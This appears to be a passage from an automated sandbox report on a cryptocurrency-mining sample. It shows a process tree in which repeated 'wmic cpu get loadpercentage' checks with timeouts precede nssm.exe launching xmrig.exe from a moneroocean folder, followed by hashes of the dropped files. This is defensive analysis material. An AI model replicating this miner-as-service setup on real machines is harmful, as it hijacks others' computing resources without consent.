C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3472
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1352
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2228
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5856
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2160
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1752
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3804
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3948
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1540
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4668
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4932
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3732
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5304
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:552
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:6076
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3376
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1068
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2044
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4080
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5840
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3608
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3176
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5908
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3564
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3392
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3816
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5192
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4508
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3540
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:332
-
-
C:\Users\Admin\moneroocean\nssm.exeC:\Users\Admin\moneroocean\nssm.exe1⤵
- Executes dropped EXE
PID:5924 -
C:\Users\Admin\moneroocean\xmrig.exe"C:\Users\Admin\moneroocean\xmrig.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:2212
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3684 --field-trial-handle=2280,i,1836084024518340990,18250262151825427757,262144 --variations-seed-version /prefetch:81⤵PID:5420
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=1388 --field-trial-handle=2280,i,1836084024518340990,18250262151825427757,262144 --variations-seed-version /prefetch:81⤵PID:1532
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2KB
MD52f57fde6b33e89a63cf0dfdd6e60a351
SHA1445bf1b07223a04f8a159581a3d37d630273010f
SHA2563b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
SHA51242857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
-
Filesize
1KB
MD55b5352c55a8e79ac8de4be3202d496a1
SHA14a263d9e36e5ef972e4b19035cae169e1df6459c
SHA256eff52a77e2fd653199c31162fbd5557a83995ef0e6e0570bf6495d1b5386b3b8
SHA512c4e5e245c427bc6f9cc95ae80efbd46fd432bea5a4f9366332b1850d833316e6f4eab0e25259b2ea39c40724dcae91ba748234cb1a3cf95b38d8fed162741d63
-
Filesize
1KB
MD54310032fa6a0b6e26f8b868f908a0482
SHA131c1af07643e7eb5bca525b36788c6d1871949f3
SHA2564b510081e863017c8e8a1c591cbae64d8c0435cc5976173243e627a8245af0f8
SHA5125a11c60dc22b3aa8c204284413d725092654a26318fef4501218eee4b6b1d0a1d95ca397f83496c854ac07f5d7009c71cf5728a81de620714427cf6b85eb7b83
-
Filesize
1KB
MD5a33aded1324dc8e55dfeb1b1671efa7c
SHA12d3a8e1fa328ca00d1a2a7d75fe3276488a13f35
SHA2569fd239dee60b487fb138690572dcfa6d02d4122cba4197e68a85c01cec9f29ab
SHA51201059b5e60222830ec0ab090dac23eac90fbdc0f596d7d4394d0444651509e966a1af15c65eae2dd3a6de504cbc50d3d23b9b527f45d9a6f113d1bdbad425413
-
Filesize
1KB
MD524230d74f28bd4025dbb0ba44e056147
SHA1af68e009b162870b9b41f0a73ba7c216f18040ab
SHA25675f379f59eec8064d9aa0d4e9925d96604186bf11661f8c7c7cd9c4f0b7d285d
SHA512d93b1fb6edadd68f28275690bd2dca9c775286c7abc4dc71fad3c56b86402965af62252fe68dfa3ec0f2411727afb4aff24e6fda1d1176677bb5dcbe79507eb8
-
Filesize
1KB
MD574aeda76c07c2d63d20c7892498831fe
SHA14c6231be930358e95e2b34dded98e19397f71717
SHA25689ff30fc4755c25e30ad7a07241f4458f8642210bfab7c62fb64cc420e782097
SHA5128687c1786622ceb66a07c41a41a193325fe1985e8017fbdedc39162a02e74187966f42e2c15a40a08756c52017a561637873b63eb576920e6a577b45c72f54c1
-
Filesize
1KB
MD5436a8ffe62732538dc4be4b84987527e
SHA147ef91df1f059a5b2a99ddbff7935c3bc272bdd9
SHA2564c8cc423fc77cf7ad49634003d9daee11af744a398e42b17ec5a6e44092d976e
SHA512aed5b350fcb83f9e89cc2a103198c03df9bb1d1e689165861dea1a96425973dadc9982e3a9738152f1fbac7f078dee6909e11cafba226f82c87b6fa301bdc43f
-
Filesize
1KB
MD58f04aec532aba676334cec8b2639ca09
SHA14837a3a90d6610015fe0eb7371ffc16bf1649d70
SHA25609a017a8e2bbf692f1e7e8bdc2a739350afe82d5781d149a29404dfa9af972dd
SHA51265ecdeb49f9662d1dce8a4dd7f4db2dd3cbcd9d8ac72fe32f45a5109f4be0649b91e5e4f7b19746fd03ce06dfe73c983c84462adb5fee2d34e4d9aa92e98bd6f
-
Filesize
1KB
MD5d5a6408e58a8e6cdcac441b2724bdeea
SHA1c32347262903a5db5422c41c280fe975731155a1
SHA2566927aa1bd6f5b470b786b77ac7deac1ac4afcfa7650bc5c72358b3e8462e32d3
SHA512f630fa6616ed5aeb1c875f1573de5ca3db917ff6b2d5cb8d3da37ae9e45104a8ebf46b2504d1281b9d3b6705bbf3422c9b40c20b64417ef932c68b314e3aee14
-
Filesize
1KB
MD5143a478fb47996f74bbbcdaa252b9e0b
SHA1288893a45c1c50f8245a32aa06dfb1ac2ff31c83
SHA2566d91b6cc49e12bf850b873bfd57f591a37fe1aef5ca6e2bc8855dc866abf479b
SHA512e7e2d235fc60e58fe10961515db7f1a667cc58268b8cd3066afa5e7e4de0b1217e3cb85fbe24230b3eb7ac94399fa42971772954a0c309d3cb9334b7a67f93d8
-
Filesize
1KB
MD5954428eb5b0eb40796cd42527d679eaa
SHA1b125f27890c5612bd21e93bf67916c05d774e131
SHA256e6ddfee56669486c03aec1321c616bceb9c79f10b3815f4cd7d40090fb4e08e1
SHA5126492295d98a4a27d50dadc755fea44e6a3367cc7a4de5b2e7abda61f83a66dab12c08b6fde5bac79f34293eb96cba79313987d86cc945efed5110fcdf7cf03fe
-
Filesize
1KB
MD5c0dcd5941bcaae1e0f69d69eda3eb493
SHA1274fbf1fc9ccfed30235df3ed2411c0441522e13
SHA2560864f9e110e9f84ad672e82bfe5976df36133f4c432944a5b084aa7daf0d4881
SHA512d5c6dcd6f2cd474d0034e503241cb8878463dbe14ecd0c40db02f366746719b940851a91f0d5dc6009ee42fc2665992c6ae370ef5947fadbe49890c9af6dcdc5
-
Filesize
64B
MD596b70b8e21dc1bfc2282c4280a13adb6
SHA19333527888e05ffab1a1110cfd5f8c0f6b68e33b
SHA25660b11fdcc364332a8ba1fbdce201fabfd3fd094470679439d87b97757bbe895f
SHA5122e54085fa70c0cc6f80027dbdfe9279317250b2371b208d0ed4c68da964569b47269b88935892f5ce89adae801814c8b3a1cd3739f2ff28d0d24d3a4dedb3d08
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
14KB
MD5623f6006f683afdb4b7406e3a4ec35bf
SHA1f63f03d7338317224726eba368f1a045fa2142d7
SHA25621d6e0b0e8135a929a77f48e00d286bfa4fc2d749a61529e559b8a5ceb63e47b
SHA512df7ae1e436be99bbf9ec7fe1fb745c9e2dba6b99e24019b5b1f78786198f1aed465575a829e9b8141bc92f0a4c4269e140228b4335f9fa724a60f1330ad6d3ab
-
Filesize
2KB
MD5725d38d9eeadc9c2691063936b01f9ec
SHA1153fd5bd55cfd845516562291a7ab867d68145b5
SHA2560df3cdd812a582b5ddf5c8019fe7aecf03edb5760f4cf2d0c81ba73590a2ec43
SHA512fe2758ddaa974696c733367d479dc54695ee1f177275f3b26d575b3c27b8c968b6bab0ce1e5b715e6513d1f39d880462b3d8cc542507f2eeae531a9a6d337658
-
Filesize
2KB
MD564cafb884608c751a2bccaca7c582e0f
SHA1924f71ecb4903ab63a13a125e62fd6e5f5d20cb2
SHA2563250e852f2fb3e61bd0642d92f1decac666777da7c4d59d6270ee49fc856151b
SHA512ddd68d3d13bd65f926f6be67ac891c143d6e282ee955871382452f2627ca42ed54e7363d83651b904cdf8054bc1d12a02becd44ac1b5cdc98ac42fc7ebfe97a0
-
Filesize
2KB
MD58b25f31750a1bd2a5184de93c2f727c6
SHA1a12969638354fc5268be07eda6bc4352cc40d488
SHA256aa99ae2f4627f2d7e2a9c19474248667b8654d02f68cacbb2d644ee6e6de9da4
SHA512b3d6c24f246d0e2afd58a4dec93007df1afaf70ea3394c03d8d661cf06570b5c6ca0337524f503b2cef113da70b65d482b8d53d77bca4941fc99a2e918f415ca
-
Filesize
2KB
MD5993bb26789d07c6ba3d0483e1697f66b
SHA19ccb7876dc4ddb65b2aba03737bc708f231704d5
SHA256be170c95c392fec2dda13b4f6710cac7e9f2cf1b59d5e0ea9e3ab1906453025b
SHA512753c77dbcea361b403abd05bd594af8c924b246960b8e9375dcc51d75d47abf08af37eefa2ea3139301cf97c5cd27c71834155f53f00565495f78f01c006dc5a
-
Filesize
2KB
MD571469039aeadb148b9be6bef59efea0e
SHA1368aae717236f31850399ff06a973dc7e6dafedf
SHA256a959d78ed05393b0ee462c47573deb247d69a495e5fb2eb7991c99d60b48bac2
SHA512fd242b21996fb01f62cd6d23cd899b39890528918cd8fd145c82a4af4069b0278e601536ccecbf9d077a1c6e680a1cad416067878a72a06ea50a6546375f56f9
-
Filesize
2KB
MD5d4f8a13f8c90e2b3b2e7d30a553df39c
SHA15c5303ef682ffcd31e57d1abd900ba5b637d51e4
SHA256f7fc5b53e709adc1f4116ff47656f7262d7fb2859a100b3e3a5568453485649a
SHA51268b0b59a732fecc8b345fa0429039d36bc3031ab65198e4d3783a5c16fa768bb6562131c1db58d00ad9c4af7fd8d77aed3c2150930663280a6bbd635ba5831bd
-
Filesize
2KB
MD5c9ef9c214996db3d88f571226910c5d5
SHA1420ba30247b1e09f706557a7704a1ebee5d3165c
SHA256fa55a24dccbf28309642d958cbb73f5053e3a56baa0eda22d4581e0151f5f7c1
SHA512de91ef4268e67c4fa8d7216637bd9ca69ea33b108352675c954d4719d2d58b9414df78c6ebc8f622fcfbeda4ad5f981c2a17a48f7eeae8626cefe5b6894ec68d
-
Filesize
360KB
MD51136efb1a46d1f2d508162387f30dc4d
SHA1f280858dcfefabc1a9a006a57f6b266a5d1fde8e
SHA256eee9c44c29c2be011f1f1e43bb8c3fca888cb81053022ec5a0060035de16d848
SHA51243b31f600196eaf05e1a40d7a6e14d4c48fc6e55aca32c641086f31d6272d4afb294a1d214e071d5a8cce683a4a88b66a6914d969b40cec55ad88fde4077d3f5
-
Filesize
9.0MB
MD59ee2c39700819e5daab85785cac24ae1
SHA19b5156697983b2bdbc4fff0607fadbfda30c9b3b
SHA256e7c13a06672837a2ae40c21b4a1c8080d019d958c4a3d44507283189f91842e3
SHA51247d81ff829970c903f15a791b2c31cb0c6f9ed45fdb1f329c786ee21b0d1d6cd2099edb9f930824caceffcc936e222503a0e2c7c6253718a65a5239c6c88b649
-
Filesize
135KB
MD57ad31e7d91cc3e805dbc8f0615f713c1
SHA19f3801749a0a68ca733f5250a994dea23271d5c3
SHA2565b12c3838e47f7bc6e5388408a1701eb12c4bbfcd9c19efd418781304590d201
SHA512d7d947bfa40d6426d8bc4fb30db7b0b4209284af06d6db942e808cc959997cf23523ffef6c44b640f3d8dbe8386ebdc041d0ecb5b74e65af2c2d423df5396260
-
Filesize
3.5MB
MD5640be21102a295874403dc35b85d09eb
SHA1e8f02b3b8c0afcdd435a7595ad21889e8a1ab0e4
SHA256ed33e294d53a50a1778ddb7dca83032e9462127fce6344de2e5d6be1cd01e64b
SHA512ece0dfe12624d5892b94d0da437848d71b16f7c57c427f0b6c6baf757b9744f9e3959f1f80889ffefcb67a755d8bd7a7a63328a29ac9c657ba04bbdca3fea83e